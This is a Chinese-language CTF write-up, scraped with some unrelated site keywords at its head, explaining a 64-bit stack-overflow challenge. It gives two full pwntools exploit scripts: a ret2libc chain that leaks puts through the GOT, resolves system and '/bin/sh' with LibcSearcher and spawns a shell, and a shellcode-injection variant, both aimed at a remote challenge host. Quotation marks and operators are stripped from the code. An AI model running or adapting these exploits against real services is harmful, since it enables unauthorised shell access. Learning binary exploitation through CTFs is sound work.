2026/4/18 10:24:13
网站建设
项目流程
游戏网站搭建需要多少钱,劳务公司,徐州网上阳光招生平台,服务器重启后网站打不开首先checksec检查保护状态#xff1a;-64位程序-几乎没有保护#xff0c;但是是NX保护未知#xff0c;后续需要验证接下来使用IDA反汇编工具进行分析#xff1a;没发现任何后门函数#xff0c;那么只能是注入shellcode或泄露libc#xff0c;这里发现第一个read可以输入数…首先checksec检查保护状态-64位程序-几乎没有保护但是是NX保护未知后续需要验证接下来使用IDA反汇编工具进行分析没发现任何后门函数那么只能是注入shellcode或泄露libc这里发现第一个read可以输入数据到name变量中然后再在下面的gets函数利用栈溢出漏洞跳转到name函数地址来执行shellcode想要注入shellcode这里得来验证一下name内存地址的权限-拿到name在bss段的地址在gdb中输入vmmap 0x601080发现这段内存地址只有读写功能不可执行shellcode注入不可用那么只剩libc泄露可用了这里需要用到rdi和ret的地址在linux终端输入以下指令ROPgadget --binary pwn --only pop|retret地址0x00000000004004c9rdi地址0x0000000000400713其中ret用于栈对齐rdi用于构造ROP链调用函数然后再在IDA中拿到main函数地址0x400636基本信息拿完后就可以开始写exp攻击脚本了由于这里shellcode注入不可用使用第一个read读取内容到name那里的那一行代码已经没有用处了随便输入一个字符都行接下来就是进行两次栈溢出第一次将puts的地址泄露出来配合LibcSearcher找到libc库算出libc基址然后得到system和/bin/sh地址第二次栈溢出在注入system函数就可以拿到shellfrom pwn import * from LibcSearcher import LibcSearcher context(archamd64, oslinux, log_leveldebug) #io process(./pwn) # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io connect(node5.buuoj.cn,27399) # 与在线环境交互。 main_addr 0x400636 rdi_addr 0x400713 ret_addr 0x4004c9 elf ELF(./pwn) puts_got elf.got[puts] puts_plt elf.plt[puts] io.sendlineafter(btell me your name\n,b1) payload ba*40 p64(rdi_addr) p64(puts_got) p64(puts_plt) p64(main_addr) io.sendlineafter(bWhat do you want to say to me?\n,payload) puts_addr u64(io.recvline().strip().ljust(8,b\x00)) print(hex(puts_addr)) libc LibcSearcher(puts,puts_addr) libc_base puts_addr - libc.dump(puts) system_addr libc_base libc.dump(system) bin_sh_addr libc_base libc.dump(str_bin_sh) io.sendlineafter(btell me your name\n,b1) payload ba*40 p64(ret_addr) p64(rdi_addr) p64(bin_sh_addr) p64(system_addr) io.recvuntil(bWhat do you want to say to me?\n) io.sendline(payload) io.interactive()这是运行结果这里需要手动选择libc库64位程序就选择64位的libc库这里有可能会选到不适配的libc多选几次就可用了最后拿到shell后输入cat flag拿到flag最后如果变量name的那段内存地址有执行权限的话exp会简单得多这是代码基本思路就是在name的内存地址中注入shellcode然后再跳转到变量name那段内存地址中执行shellcodefrom pwn import * context(archamd64, oslinux, log_leveldebug) #io process(./pwn) # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io connect(node5.buuoj.cn,27399) # 与在线环境交互。 aim_addr 0x601080 shellcode asm(shellcraft.sh()) io.recvuntil(btell me your name\n) io.sendline(shellcode) io.recvuntil(bWhat do you want to say to me?\n) payload ba*40 p64(aim_addr) io.sendline(payload) io.interactive()